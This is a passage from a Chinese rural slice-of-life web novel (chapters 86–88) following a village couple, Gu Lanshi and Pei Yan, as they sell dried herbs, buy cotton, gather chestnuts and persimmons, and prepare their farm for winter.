他没有嫌弃的选择,反倒是鸟儿比人更早知道哪个熟了,他捡着有洞的摘下,抠掉被鸟雀啄烂的地方就能吃。 熟透的柿子又软又甜,汁水也多,他其实挺爱吃的,只是没告诉过别人。 顾兰时笑道:“先别吃,我炒了鸡蛋,等吃过饭,再过两三刻钟吃,不然克化不动。” “嗯。”裴厌答应着,把十几个柿子在灶房窗沿整整齐齐放了一排,割草手上有绿色的草汁子,他把板车上的草都倒在院里铺平后才洗手歇息。 顾兰时在灶房里炒菜,一抬眼就看见窗外的柿子果,情不自禁笑了下,摆的可真整齐,还是按大小个儿来的。 他们小河村离山林近,鸟雀也多,树上的果子一旦成熟就得赶紧摘,不然全便宜鸟儿和虫子了。 摘下来的柿子大多还是硬的,放几天就软了,做柿饼得看天气,也比较繁琐,为图省事,他娘往年都是切成片切成条晒柿子干,一样能留到冬天吃。 第86章 一片云飘过去,太阳露出来,秋天的早上不冷不热正适宜。 顾兰时坐在屋檐下吃柿子,昨天他娘给的软柿子还剩两个。 汁水只需往嘴里一吸,霎时就尝到醇厚的甜味,里面还有一片片的软籽,连咬都不用,同样能吸着吃。 裴厌坐在他旁边,将一颗柿子吃得干干净净,连蒂上的一点汁水都没放过。 “真甜。”顾兰时吃完后用帕子擦擦手,笑眯眯说:“等下回来,看有没有软的,我再给咱们拿几个。” 泥炉在旁边,煨着陶罐里的水,裴厌顺手把柿子蒂扔进火里,说道:“窗沿上不是还有?” 柿子很甜,汁水流到手上黏糊糊的,帕子也没擦干净,顾兰时起身去洗手,开口道:“那些还得放几天才能软,家里肯定还有软的,少拿两个回来吃,不要紧。” 他舀了一瓢水蹲下洗,抬头看一眼走过来的裴厌,笑道:“这十几个硬的,留几个放软,余下的咱们晒一点柿子干,当零嘴吃甜甜的。” “好。”裴厌同样蹲下来洗手,想起种树的地方已经规划好了,说道:“等明年开春,咱们要买好些树苗。” “嗯。”顾兰时想了一下说:“要说树苗也好买,镇上花木市应该就有,只是这些果树栽下去,最少也得等二三年才能结果子。” 裴厌笑了笑,将手里的野澡珠搓出白沫子,说道:“等几年有什么要紧,往后起码十来年都有果子吃。” 说起这个,顾兰时就高兴了,说:“也对,这几年没果子吃,我就回家去要,反正离得近,过两天石榴也熟了,咱俩回去摘几个,也不多拿,尝尝鲜就好。” 裴厌被他如此理直气壮逗笑,但没说什么,种的菜还会再结,给岳丈家再拿去一些就行。 擦干手,顾兰时回屋取钱,裴厌从后院牵过来毛驴套车,今天要去镇上买点棉花。 板车正放在院里,早起他俩出门打了两回草,车上还有一些草屑没弄干净,他用小扫帚扫了扫,拿了条空麻袋放上去。 顾兰时怀里揣着小荷包,不放心又说道:“还有什么,再想想,走半道上想起来的话,往回赶不值当。” “也没什么要卖的,鸡蛋鸭蛋倒是有几枚,可惜今天赶车。”裴厌顺嘴说道,想了一想,笑着开口:“西屋里还有一点之前晒的药材,咱们一时用不上,拿去药铺卖了。” 他俩之前卖鸡蛋鸭蛋是背着竹筐提着竹篮走去的,赶车颠簸,要是撞坏了蛋,实在让人心疼。 “行。”顾兰时转身往西屋走,问道:“是那两个有补丁的小布兜?” 裴厌把车套紧了紧,查验一番才放心,闻言答应道:“对,就是那两个。” 药材是他去年晒的,一直没太动,今年比较忙,每次和顾兰时上山都有明确的事要办,路上碰见了就挖几株,也没刻意去找,因此不是很多。 顾兰时拿了出来,这两袋药材他知道,一袋是苦参根,一袋是狼毒根,不是什么名贵药材,之前他还和裴厌在山上挖了几株狼毒花回来晒,不过晒好后收放他没管,都是裴厌在弄。 裴厌牵着毛驴往外走,说道:“秋天了,也到挖药的时候,这两天去山上,别的认不全,再找找这两样,多晒一些,狼毒茎叶晒干捣成粉末留着,就不去卖了,明年翻地的时候往土里洒洒,防防虫。” “嗯。”顾兰时走在后面,见大黑趴在院里,今天不是很想在大菜地里跑,他就没喊狗出来,锁好院门顺着石子路往前走。 乡下人常常和草木打交道,一些药材也认识,苦参虽然带了个参字,实际茎叶长得很像草,埋在土里的根能做药用。 苦参和狼毒都有驱虫杀灭的效用,以前他爹娘也弄过,有一年虫害较多,就是带上自家碾好的草药粉去,请草药郎中配好方子,带回来洒进土里埋好,虫害就能减弱一些,不至于颗粒无收。 而名贵的药材只有靠采药为生的采药人才愿意涉险,毕竟好摘的药早被人挖走了,那些人迹罕至的山沟和悬崖上,谁知道有什么危险,想挣大钱,也得看有没有那个本事。 一般有田地家舍的汉子种种田做做短工,日子只要能过得下去,鲜少会有人进深山涉险。 当然,也有铤而走险挣了大钱的,顾兰时就听过几件这样的事。 驴车停在门外,见锁好篱笆门了,裴厌说道:“上来。” 顾兰时看一眼林子那边的路,这边只有他俩和家里人常走,不如村里的大路平坦宽阔,说道:“要不等出了村再坐。” “没事,我在前面牵着,走慢些。”裴厌拍拍板车边沿。 “好。”顾兰时没有再争执,笑眯眯爬上车,他靠着车沿下的坐阶坐好,驴车就慢悠悠往前走。 这时节还不是很冷,估计码头已经有卖棉花的了,要是等到冬天再去买,天一冷只会更贵,今天有空,买了回来,他也好提前把棉衣棉鞋做出来。 路过家门口的时候,见院门锁着,估计他爹娘去打草了,家里养的猪多,可不得多备些干草。 村里的路比较宽敞,裴厌坐在驴车前面,毛驴没有听到鞭子响,依旧慢慢走着,路过祖宅的时候,两人都没有停下的意思,不过方红花在院里看见他俩,连忙喊着走出来。 裴厌拽紧缰绳让毛驴停下,喊了声阿奶。 “阿奶。”顾兰时以为她有事,站起来作势要跳下地。 方红花上前按住他,说:“没什么要紧的,就是摘了几筐柿子,你俩要出门?” “嗯,去趟镇上。”顾兰时问道:“阿奶你要什么不?” 方红花开口道:“我没什么买的,既然你俩出去,等回来记得在门前停一下,拿几个柿子果回去。” 顾兰时笑眯眯的,点着头说:“好,那阿奶我俩先走了。” “走吧,路上当心些,别赶太快。”方红花冲他俩摆摆手,叮嘱一句见驴车走远,转身回了家。 他们家兰哥儿种的菜成了后,有事没事就给她拿一篮子,她一个人有时吃不完,还分给关系好的老妇老夫郎一把。 她也不是有意显摆,但一个村的,有两次正巧跟赵老夫郎和李老太太撞上,那两个老东西又酸又眼红,看得她直乐。 知道兰哥儿那边没有柿子树,肯定要分一些给她孙子和孙婿。 一上官道,道路那叫一个平坦,裴厌挥鞭子甩了几下,毛驴拉着板车跑起来,迎着风,他面上不显,但心里很高兴,一个人赶车哪有和夫郎一路说说笑笑来得好。 * 因太早寒意较重,他俩特地等太阳出来才赶车,一到宁水镇,顾兰时从板车上下来,跟着裴厌走进镇里。 街道上人挺多,比乡下更热闹,两人先往药铺那边走,一边走一边留意有没有卖棉花的。 街边有家酒馆,已经开门了,这么早就几个大汉在里头喝酒。 卖狗皮膏药的在路边支起摊子,经过时能闻到一股子药味。 有人挑了两筐红彤彤的柿子沿路吆喝,顾兰时看了一眼,这东西虽然爱吃,倒也不必花钱买。 一路走到药铺门口,没有碰到卖棉花的,裴厌停下驴车,拿起放在板车上的布兜,说道:“我进去,你就在外面别动,我很快出来。” “好。”顾兰时从他手里接过绳子,防止毛驴乱走。 药铺里大夫在看诊,裴厌找到伙计说明来意,伙计打开布兜抓了两把苦参根翻看,又抓一把狼毒根仔细查看。 苦参根和狼毒根挖出来后都是切成片晒干,见东西不错,没有掺杂乱七八糟的东西糊弄,伙计这才点了点头,说:“苦参根一斤两文钱,狼毒根一斤三文钱,都是市价,你若愿意,我这就上秤。” 确实是市价,裴厌点点头,开口道:“好。” 伙计很麻利,拿了秤杆过来,称好后又将准星给他看,说道:“苦参三斤半,狼毒四斤,一共是十九文。” 裴厌没言语,等对方把倒完的布兜还给他,再接过钱就要走,不想药铺伙计喊住了他。 伙计露出个笑,他其实记得裴厌,之前来卖过毒蝎,这么高的个子,脸上又有条长疤,想不记住都难,他开口道:“你晒的药材不错,以后要是还有,只管往这边送,多少我们都收。” “行。”裴厌口中答应一声,既然有个路子,哪有不应的道理。 他出门之后,伙计叹口气开始收拾药材。 之所以多说这么两句,倒不是他们药铺没有药材可收了,而是早上来了个闹事的汉子,晒好的药材里掺了假,若非他这些年跟着老大夫练出一些眼力见,差点就被糊弄过去,那汉子还在他们药铺吵嚷,被撵出去才消停。 这不一早上了,他心里那股气都没消,眼下碰到个药材晒的干净又不掺假的,两厢一对比,自然愿意给几分好脸色。 瞧瞧,这狼毒根一点泥都没有,可见晒之前就洗干净了,收了这种干净药材,老大夫看见也不会骂他,同样的价钱,果然还是干净人弄出来的好,省事又省心。 他一边整理药材,一边在心里嫌弃早上那个无赖。 * 门外,裴厌不知道伙计心中所想,把手里十九枚铜板给顾兰时看,顺便说了刚才的事。 顾兰时笑道:“挺好,这回斤数不多,以后多弄点,也是一笔进项。” 挖药材不是什么难事,勤快点就好了。 裴厌把钱收起来,牵着毛驴往码头那边走,看见卖酥油饼的摊子,他问道: “想不想吃?” 上次吃酥油饼,还是两人一起来买毛驴。 顾兰时抿抿嘴巴,笑着点点头,他其实有点不好意思,都成亲了,年纪也不小,可一来镇上,就忍不住吃点东西。 往酥油饼摊子走的时候,他开口道:“一人买一个就行了,还要买棉花呢。” “嗯。”裴厌答应一声,从怀里摸出六文钱,张开手示意摊主看一眼,就放进摊上的碗里,说:“来两个。” “好嘞。”摊主从炉里取出两个刚打好的饼子,手在一沓油纸上一模,一小片油纸就到了手里,随后将两个酥油饼快速包住,递给了裴厌。 对方是个汉子,顾兰时自然不好接,从裴厌手里拿过一个后,笑道:“有点烫。” 尽管如此,酥油饼子趁热吃才香呢,两人往前走,吹一吹就迫不及待咬一口,油酥又软,比糙馒头香多了。 吃完手指上残留有油迹,这回顾兰时没舔手指,拿了帕子擦干净,高高兴兴往前走。 迎面有个人拎了两只捆了脚的兔子,裴厌看过去,那留了两撇胡子的瘦削汉子神色自得。 一个穿长衫的汉子从巷子口走出来,正巧看见他,问道:“郑五,做什么去?哪里得了两只兔子?” 叫郑五的汉子明显是宁水镇人,把手里的兔子往前一甩,神色间全是得意,说:“这不逮了两只,往西边市集上卖去。” 穿长衫的汉子见兔子挺肥,朝郑五招招手,说:“你卖多钱?” 两人说着话,就往巷子里去了,说到价钱时也放低了声音,显然不想让别人听到。 裴厌牵着毛驴走过巷子口,脚下没停,心里却有点活泛,之前打兔子只是自己吃,今年冬天闲了,没有别的事做,也可以试试。 他自己琢磨,暂时没有说出来,如今家里各种活要忙,说了只会让他夫郎多一件操心的事。 * 码头在宁水镇东边,这边人流明显更多,有坐船的有挑卖东西的,更多的是坐船来的货商和贩货买卖的人。 没走多远看见路边有人摆了几麻袋洁白柔软的棉花,顾兰时视线一下子被吸引。 “老板,一斤花多钱?”裴厌上前问道。 那老板从铺子里边出来,说道:“七十文。” 裴厌皱眉:“贵了,人家比你这便宜。” 他昨天听老丈人说了,棉花一斤六十五文,村里有人来买过。 老板脸上一团和气,从麻袋里抓一把棉花给他俩看,说:“货不一样,价钱自然不一样。” “六十三文如何?”裴厌开口道。 “这太少了,不行不行。”老板摆摆手,说道:“六十八文还差不多,你出这价钱都不够进货的。” 前面还有好几摊卖棉花的,见老板神色不悦,裴厌也懒得和他说价钱,牵起毛驴往前走。 顾兰时跟着他,走出去一段说:“进价怎么可能这么贵,不然挣什么。” 裴厌笑道:“咱们不买他的,这种有铺子的,肯定比摊子贵,也就问问价探路。” 他俩转悠一阵,最后以六十五文的价钱买了十斤棉花。 回去还要做饭喂猪,两人没有耽误,装好软乎乎的白棉花后,掉转驴车往回走。 路上人比较多,顾兰时离裴厌更近,笑着说:“十斤,一人能做两身衣裳了。” 他看看裴厌,又说道:“你腿长胳膊长,费衣料,棉花肯定也要多一点才暖和,做一身棉衣起码得有个一斤三两棉花,想做厚点,两身衣裳就是三斤。” 他边说边掰指头算:“我自己做一身,一斤应该够了,光做衣裳就要五斤棉花,还有棉鞋,鞋子倒是不用太多。” 裴厌想了一下开口道:“既然还有几斤剩余的,给你做衣裳时多扯点棉花,不然入冬后太冷。” 顾兰时笑着说:“我还有旧衣裳呢,也是棉的。” “旧的不如新的暖和。”裴厌说道。 顾兰时眼睛弯弯,说:“那等做的时候再看,都弄厚一点,反正咱们有棉被,不用做被子。” “嗯。”裴厌这才满意,棉花这么贵,就是为顾兰时买的,要还是冻到了人,岂不是白花了这笔钱。 第87章 日子在挖野菜、囤猪草和打柴火中过得很快,渐渐的,秋意更浓,满山绿意从叶子红黄变得枯败萧索,天也越发凉了。 不耐寒的菜蔬在秋意弥漫中慢慢枯萎,再不似之前的繁茂。 顾兰时和裴厌在大菜地拔藤蔓,最后一茬豇豆和菜瓜已经收了,都留了菜种,明年好种下。 丝瓜藤上有近十个大丝瓜,已经干黄了,正好留着刷锅洗碗。 西边菜地里的萝卜和菘菜不用担心,这两种菜耐寒,长得也不错,再过大半个月就能收了,刚好赶在立冬前后。 前段时间拔完了院里的春菜后,腾出来的地方全都种上了这两样,如今已经出芽了,因种的有点晚,怕天冷不好好长,他俩晚上会给菜苗盖一层麦秸。 顾兰时抱着一堆拔下来的藤蔓走过来扔在板车上,这些藤蔓已经长老了,叶子也枯黄,禽畜牲口都不爱吃。 前面除了开垦出来的一块块齐整菜地,还有些空余,比如篱笆墙和菜地之间就有一板车宽的空隙 但这些枯藤堆积在一起没什么用,还显得凌乱,不如用板车拉到干涸的河道那边去。 枯叶碎屑粘在衣服上,顾兰时站在旁边拍打,看一眼裴厌,正在拔插进地里的竹竿。 这些竹竿明年还能用,裴厌没有往板车上扔,抱了一大捆往院里走,放在柴房好过在外面风吹雨淋,万一朽掉了,明年还得再上山砍。 “还种萝卜吗?”顾兰时挽起袖子拔剩下的藤蔓。 裴厌从院里出来,听见问话想了一下,说:“天虽然冷了,这几片地空着,少撒点种子,要是能长出来最好,长不出来也无妨,咱们只有两个人,西边种的那些再加上菜干子,足够过冬了。” 菘菜和萝卜很常见,种子不贵,村里人一般都是自己留种换种,就算糟蹋一些,也花不了几个钱。 藤蔓缠竹竿缠得紧,顾兰时双手握紧根部,弯腰撅屁股使劲,百忙之中不忘回答:“行。” 他费力把这一堆东西拔出来,枯叶掉落在头上和肩头,他顾不上拂开,先把竹竿和藤蔓分开,竹竿还能用呢。 忙了好一阵,裴厌把细竹竿都捆到一起,在柴房收好,又拉起板车往外走。 顾兰时锁了篱笆门后,几步赶上去,在后面帮着推车。 回来时板车空了,裴厌一个人拉着也能走快。 顾兰时看一眼空旷高远的蓝天,说:“还早,要不要带点干粮,上山捡两筐毛栗子,还有山核桃,这会儿都该熟了。” 此时还不到做晌午饭的时候,但要是上山,肯定无法按时赶回来做饭吃饭,不过最近村里家家都忙着备过冬的口粮,哪怕菜和米面已经够吃了,裴厌心里同样有些不踏实。 板车被路上的石块颠了几下,他没在意,点着头说:“好,多弄点,顺便看有没有山柿子。” 上回方红花和苗秋莲给的柿子已经晒成了柿子干,这几天顾兰时发现他没事就摸一两个吃零嘴,于是笑道:“行。” 回去没有多耽误,两人背了竹筐就出来,毛栗子林比较深,裴厌带上了弹弓和柴刀防身。 进山后,想着早点到林子里捡,就能比别人快点,顾兰时脚下不自觉变快。 山林较密,到了跟前才看见旁边林子里有两个熟悉的人影,是徐启儿和徐瑞儿,兄弟俩正在挖野菜。 顾兰时笑着开口:“启儿。” 徐启儿听见声音,转过身叫了人:“兰哥哥,厌哥哥。” 他身上衣裳不合身,补丁也多,顾兰时一眼看出,那衣裳应该是徐应子以前的。 “挖野菜呢?”顾兰时又问道:“最近米粮还有?” 兄弟俩年纪小,吃得也俭省,如今还有一两银子的整钱没动,他昨天晚上还想起这件事,估摸着应该快吃完了。 果然,徐启儿开口道:“剩的不多了,我还想着下午去管兰哥哥你再要一钱。” 顾兰时说道:“那你傍晚过去,今天有点忙,你要去太早,我俩不一定回去了。” “好。”徐启儿点点头。 没有别的话说了,顾兰时道一声,和裴厌又快步往山里走。 在他俩身后,徐启儿一想到米粮的事,眉头就皱在一起。 别说他,连弟弟这个年纪都是吃得多的时候,可惜就那么一两银子,一点都不敢多花。 家里只剩一亩水田一亩旱田,都是不太肥沃的薄田,今年打的稻谷,每天只吃稀米汤勉强能撑个半年。 再加上那一两银子,顶了天能混一年吃食。 他知道自己长得瘦小,去做长工人家要不要都不好说。 徐瑞儿年纪还小,过了这个年才九岁,虽然已经能种地锄草了,可到底不如大人手脚利索。 而且等庄稼长出来收割,也得好几个月才能有口粮食吃。 日子实在是艰难。 徐启儿叹口气,背起竹筐又带着弟弟四处挖野菜,眼下能多攒点野菜是一点,其他的再想也没用。 * 山里这片栗子林熟的较晚,两人一进来,就在地上看到有掉落的毛栗球,有的张开了嘴,露出里面的栗子。 顾兰时捡了好几个,一阵风吹来,从树上又啪嗒啪嗒掉落已经成熟的毛栗子。 他当即看过去,顺着掉落的地方捡起新鲜的毛栗子,只掏了里面的栗子,外面的毛球则丢掉,背回去没用,还多一份重量。 有大尾巴的松鼠在林子里窜,看见人后飞快往嘴里塞两个栗子逃走。 应该是有人捡过了,地上的栗子不多。 顾兰时走到旁边低矮的山沟里,有一些毛栗子顺着土坡滚下来,捡了不少。 他俩把周围能找到的好栗子都捡了一遍,随后裴厌抬头看看树梢。 栗子树长得较高,树上倒是有一些栗果繁茂的枝条。 刚好带了柴刀,他爬上树坐在分岔处砍了一根结实的树枝,削去多余的枝条和叶子,将柴刀丢下树,随后又往上爬,够到繁茂的枝条用长树枝敲打。 顾兰时早走远了几步,见毛栗子被打下来,下雨一样噼里啪啦掉落在地,他脸上笑容不断。 没带长竹竿,树枝到底有些局限,有几处够不到,裴厌没有强求,扔了树枝从树上下来,和顾兰时一起把打下的栗子捡进竹筐。 “没了。”顾兰时把掏出来的栗子丢进旁边竹筐,见天色尚早,说道:“再去那边转转?” “行。”裴厌拎起半筐栗子往背上背,山里有好几片栗子林,离得近的有两片,另一边要继续往北走。 顾兰时的竹筐只有小半筐毛栗子,不是太沉。 去另一片林子的途中,发现了几颗野柿子树,两人不约而同转了方向,径直往那边走。 最高处的柿子果红极了,皮也薄,太阳一照像是能看见里头甜软的果肉,只可惜梢头树枝太细,无法攀爬上去摘。 软了的柿子已经被鸟雀啄烂,完好的就几个,不值得爬太高,也没折断枝条的必要。 顾兰时将竹筐放在地上,踮起脚拽下树枝,裴厌则上了树,去摘较高的果子。 顾兰时一边摘一边笑着说:“毛栗子捡的不多,柿子倒是挺多的,运气还挺好。” 山柿子已经全黄了,没有一个绿的,裴厌挺高兴,站在树上说:“既然碰到,就都摘了,一趟背不完,栗子林那边先不去了,把这些都弄下去。” “好。”顾兰时答应着,上半身往后倾斜,松开手上这一根树枝,又蹦跶跳起来拽下另一根枝条。 柿子果挑硬的放在下面,偏软的搁在上头,不然会压破皮。 装满筐子后,两人喜滋滋下山。 在山脚下,碰巧遇到吃过晌午饭要上去打柴的顾铁山。 “爹。”顾兰时脸上笑意更甚,问道:“做什么去?” “岳丈。”裴厌也喊了人,他神色轻松,眉眼里有一点笑意。 顾铁山见是他俩,停下说道:“砍点柴火回去。” 顾兰时正要问他怎么一个人,就见他娘小跑着从后面追来,原是出村子的时候看见村里人,说了几句闲话落在后头。 “兰哥儿,姑爷。”苗秋莲笑着问道:“这是摘了山果子?” 顾兰时高兴开口:“底下还有毛栗子,明儿让竹哥儿来拿,娘,你们捡栗子了没?” “还没呢,这几天又是打柴又是晒菜干子,想着过两天再去。”苗秋莲看一眼他竹筐里的柿子,比家里种的小一圈,说道:“是该去摘些,你俩又没有柿子树。” 顾兰时说道:“那边还有呢,把这些放回家,要再摘一趟,娘,你去不去?” 苗秋莲怎么能抢他俩的口粮,可怜见的,田地不多也没个果树,于是连忙说道:“娘就不去了,咱家柿子多,你俩去摘,可别耽误了,快回去。” “知道了娘。”顾兰时说着,和裴厌下了山。 到山下树林子里后,听见有人说话,一回头看见是徐启儿又带着弟弟出来挖野菜,他停下喊道:“启儿。” 等人过来后,他分了十几个柿子还有一些毛栗子给对方,说道:“你家院里的柿子树今年结果怎么样?” 徐启儿仔细将柿子放进竹筐,说:“还行,算繁的一年,晒成柿子干,足够吃了。” 原本觉得山柿子挺多,想让兄弟俩跟他们一起去摘,顾兰时开口道:“那就好,既然柿子够吃,还是多挖点野菜,柿子吃多了克化不动,没法儿当饭菜吃。” 徐启儿背起竹筐,忍不住说道:“兰哥哥,多谢。” “行了,快去吧。”他冲两人摆摆手,一个村的,哪里用说这些客套话,他背起竹筐和裴厌往家里赶,还要再上去一两趟呢,可不得抓紧时间。 第88章 晌午,天很蓝,云彩较少,太阳洒下热意。 顾兰时用木耙子翻动大竹席上的栗子和山核桃,旁边木架还有柴堆上放了七八个大竹匾,竹匾里是切成条切成片的柿子。 最近上山弄了些山货,打山核桃的时候他俩带了一根长竹竿,比随便削的树枝好用多了。 这些东西都要晒干了贮存,毛栗子倒是能生吃,脆脆甜甜的,他俩这几天没事就抓一把尝。 这张竹席大,角落里特地腾出一块地方晒他今天早上糊的袼褙。 棉花买了回来,趁天冷之前最起码先把裴厌的棉鞋棉衣做出来,不然以前的旧冬衣实在是单薄。 毛栗子还好,山核桃圆溜溜的,翻动时免不了到处滚,他把木耙子靠在土墙上,将滚到竹席外面的核桃丢回去。 核桃砸落的“啪啪”声音让原本趴在地上假寐的大黑抬起脑袋,两只耳朵都竖起,盯着这边看了一会儿。 顾兰时没留意,家里不少活要忙呢,他拎起一个阔口大竹篮,走到麦秸堆旁边抽了一篮子麦秸,随后提着沉甸甸的竹篮往后院走。 鸡窝鸭舍里垫的干草该换了,不然太脏太湿鸡鸭容易生病。 他把小母鸡从窝里赶出来,先弯腰看里面有没有鸡蛋,果然在角落发现一个。 将鸡蛋放在鸡窝顶上,用木叉把脏了的稻草弄出来,随后塞进去干净的麦秸,厚厚弄了一层铺平整。 鸭舍那边也是如此,换好后,他用木叉把地上的脏干草挑出来,顺势在后院空地上摊开,等晒干了之后,这些干草沾了些粪便,喂牲口不行,当柴火烧倒是可以。 离开之前,他又看了看猪圈和驴棚,猪吃过食,猪圈也扫了,正躺在地上睡觉,又肥又大的肚子随着呼吸一颤一颤。 顾兰时瞧得心喜,头一年的小母猪,只有养的肥才好配种,太瘦的话不容易生怀。 前天回家时他爹说了,已经喊了文水村的猪倌儿,过几天对方就赶着种猪来配种,到时候花点钱,也给他们的母猪配一窝,明年就能下猪仔了。 母猪在睡觉,他没多打搅,见毛驴水槽里清水不多了,他到前面提了半桶水过来,又抱了一小捆草料放进木槽里。 毛驴喝了几口水就嚼起干草,还眨了下眼睛,一副温顺的模样,顾兰时摸了摸它前额。 等回到前院,就从大开的院门看见裴厌拉着板车进了篱笆门,他匆匆迎上去,帮忙把一板车猪草推进院子里。 两人把一车草倒在院里的晒谷场上,墙边的谷棚里已经存了一堆晒好的干草。 和麦秸稻杆不一样,稻草堆好之后十分紧实,要是碰到下雨天,多抽几下,从里面掏干的就好,无论喂牲口还是当点火引子都能用。 而干草不像麦秸那样能压紧实,总有些空隙,一旦下雨下雪里面也容易淋湿,因此放在有顶的地方,柴房也有一大堆,连杂屋都用破麻袋装了十几袋干草放着。 见裴厌拿了木叉将猪草挑开晾晒,顾兰时说道:“家里没别的活了,我去拿钥匙。” 等他出来后,裴厌把木叉靠在墙上,说:“村子附近的草没了,得顺着河边往山里走走,那边的草多一点,这一车也是从那里割的,离得有点远。” 顾兰时把刚才解开的麻绳扔上板车,笑道:“这下咱俩一起去,远也不怕拉不回来。” “嗯。”裴厌答应着,拉起板车在前面走。 村里养猪养牲口的人都在囤干草,就算没有牲口的人家,也要囤点干草好过冬,因此最近割草打草的人都走得比较远,不然根本找不到。 秋高气爽,比夏天干活凉快多了,不会一动就出一身汗,连心情都好了很多。 顾兰时跟着裴厌顺着河岸往北边走,天很蓝,他时不时抬头望一眼,太阳没那么晒,风吹来也是凉爽的,一年到头,好像就这时候最舒服。 空板车好拉,遇到路上有石头很轻松就碾过去,等两人打了满满一车草,怕路上掉下来,还用麻绳捆了几圈后,拉车就显得笨重了些。 好在裴厌力气大,顾兰时又在后面推车,路虽然远,但天气好,两个人时不时说两句话,干活就显得没那么枯燥和累。 人对冬日严寒有刻在骨子里的惧意,村里家家都在备过冬的东西,连平时爱说闲话的老人都着急起来,得了空不再坐在村口说三道四嚼舌根,提着个篮子到处挖野菜打草,生怕少了东西度不过寒冬。 打猪草哪有嫌多的,天天都得出去弄。 这天下午,顾兰时和裴厌推着板车刚出篱笆门,快走出树林子的顾兰瑜连忙喊住他俩,说:“兰时哥哥,猪倌儿来了,正在家里呢,爹说了,等会儿让他过来。” “行,那就不去打草了。”顾兰时又问道:“配一头多钱?” 顾兰瑜笑道:“还是老样子,一头三钱,若是来年没下崽,照数全退。” 大黑听见声音跑出来,对顾家人它已经很熟悉。 裴厌掉转方向又把板车推回去,放在篱笆门旁边的空地上,等配完了还得再出去打一车草。 顾兰时往家里走,对狗儿说:“来,昨天运气好,在河边野草堆里摸到几个野鸭蛋,你拿两个回去让娘给你和竹哥儿蒸蛋羹吃。” 闻言,顾兰瑜跟着他往里走,说:“这时候还有呢,我上次在河边想找没找到。” 顾兰时顺着石子路往前走,笑着说:“总有下蛋晚的。” 见他俩说笑,裴厌走在前面,进灶房把装野鸭蛋的小竹篮提出来,里头正有五个鸭蛋。 顾兰时拿了三个递给弟弟。 狗儿接过,笑道:“行,厌哥哥,我先回去了。” 说起蛋羹,确实想吃了,家里的鸡蛋鸭蛋要攒着卖钱,十天半个月才能吃两个,今天总算能打打牙祭,还是先放回去为好。 家里有到年纪的儿子就是这样,顾兰时知道,他爹娘这几年要攒钱预备狗儿成亲的事宜,后面还有个竹哥儿呢,嫁妆也得备一份。 别的吃食还好,蛋这样能卖钱的东西肯定舍不得多吃。 顾兰瑜走之后,他俩没有干别的活,坐在院里喝热茶歇脚,过了一会儿,大黑冲着篱笆门外吠叫,再看去,戴帽子的猪倌儿赶着大肥猪从篱笆门外走进来,后面跟着顾铁山。 “爹。”顾兰时喊道,和裴厌一起迎出去。 顾铁山说:“这你于江老叔。” “老叔。”顾兰时和裴厌都喊了人。 于江圆脸宽身板,个子不高,脸上胡子长的长短的短,衣裳瞧着也有几分邋遢,不过养的猪倒是肥,他顺着石子路一边赶猪一边张望,见菜地这么大,他咂咂舌有点羡慕,说道:“这得种不少菜吧。” 顾铁山笑着开口:“今年才弄的,收了些菜不过只够他俩吃。” 大黑看见生人,被喝止后不再吠叫,但看到种猪后呲牙低吼,十分警惕,察觉种猪没有攻击的意图后,才收起尖牙不再敌视。 大肥猪哼唧着,它体型硕大,见了大黑丝毫不畏惧,进了院门后,于江赶着它往后院走,路过晒谷场时,肥猪停下来吃了几口晒的草。 于江用细鞭子在它屁股上抽打两下,它吃痛才继续往前走。 给猪配种顾兰时不好去看,他停在前院,给泥炉底下添了几根柴火。 裴厌跟着顾铁山还有于江往后院去了。 陶罐里有水,大火烧了没一会儿就开了,他拿了两个碗过来舀滚水冲茶。 后院有猪叫声传来,大黑也叫了两声,即便只有自己,顾兰时还是有点不好意思听,放好两碗茶又端出来一叠甜米糕,随后回了屋子。 等后院的事完了之后,裴厌几人过来,见桌上吃喝都摆好了,于江没有坐下,端起碗仰头喝完一碗茶,抹抹嘴觉得解渴痛快了,说道:“我也不留了,清水村那边还有两家,这就走。” 一听这话,裴厌从怀里掏出荷包,把准备好的三钱碎银倒出来。 见顾兰时不在院里,几人都知道他进屋避嫌了。 于江接过钱,心情那叫一个好,顺手拿了一块米糕边走边吃,赶着猪往外走,顾铁山和他一起出去,同样没多留,家里还有活呢。 他们走之后,顾兰时没忍住,和裴厌到后院看了看母猪的情况,见它没有不适,才放下心出门打草。 * 天渐渐冷了,日子在忙碌中过得很快。 大菜地和院里的萝卜和菘菜已经收获,菘菜在杂屋垒成菜墙,顾兰时每次看到都觉得心里踏实,这么多,够过冬了。 萝卜怕抽苔空心,同样都拔了出来,他俩在院里挖了一个齐整的长土坑埋入其中,想吃的时候去挖就好。 外面菜地撒了萝卜和菘菜种子的地方傍晚盖上麦秸,白天太阳出来后掀开晒晒,倒是慢慢长出来了。 院子里的菜地光秃秃的,没有再种东西,长了一年的菜蔬,也该让土地歇歇。 顾兰时在柴堆前劈柴火,长斧头虽然沉重,但利用斧子抡下的重量劈柴十分容易。 院子当中的板车堆满了柴火,已经用麻绳捆好了,等裴厌从山上打兔子回来,下午就拉去镇上,连柴火带兔子一起卖。 最近柴价比较高,他俩昨天上山,一个砍柴一个捡柴,忙了一天才弄这一车,希望能卖个好价钱。 不知不觉间,天有点阴了,早上还时不时露出云层的太阳彻底不见踪影。 见大黑汪汪叫两声往门外跑,顾兰时停下手里的活,擦擦汗朝外面看一眼,果然是裴厌回来了,手上提了三只被捆住脚的灰兔子。 他一下子有点惊喜,竟然打了三只。 裴厌脸上带笑,离得还远就拎起手里的兔子给他看,脚下也加快了。 等他进门,顾兰时笑道:“打了这么多。” 裴厌把兔子放在地上,有一只还没死,在大黑冲着它们叫后,那只兔子腿抽搐了一下,动也不敢动,原地装死。 “挺肥的。”顾兰时看了一会儿越发高兴,打兔子只是想碰碰运气,能打到最好,打不到还能去卖柴火,不想果真有收获。 裴厌笑道:“一只说不定能卖五六十文,三只一钱肯定是有的。” 上次买棉花花了六百五十文,幸好之前卖菜挣了点,足够这份开销,不用动用家底,但到底是从自己手里给出去的铜板,两人都有点心疼,冬天钱更不好挣,这下总算多了点进项。 “累不累?”顾兰时抬头问道。 裴厌笑着开口:“不累,天阴了,我也不歇了,早点去镇上把这一车柴火卖掉。” 说得有道理,顾兰时没有反对,在裴厌去后院牵毛驴的空子,他用布兜给装了几块甜米糕,到镇上万一饿了能垫垫饥。 没多久,套好车的裴厌接过布兜放在车上,他没让顾兰时送,自己牵着驴车出门。 顾兰时歇一下又开始劈柴。 有麻雀落在墙头,大黑盯着它们呜汪叫两声,雀儿扑扇着翅膀飞走。 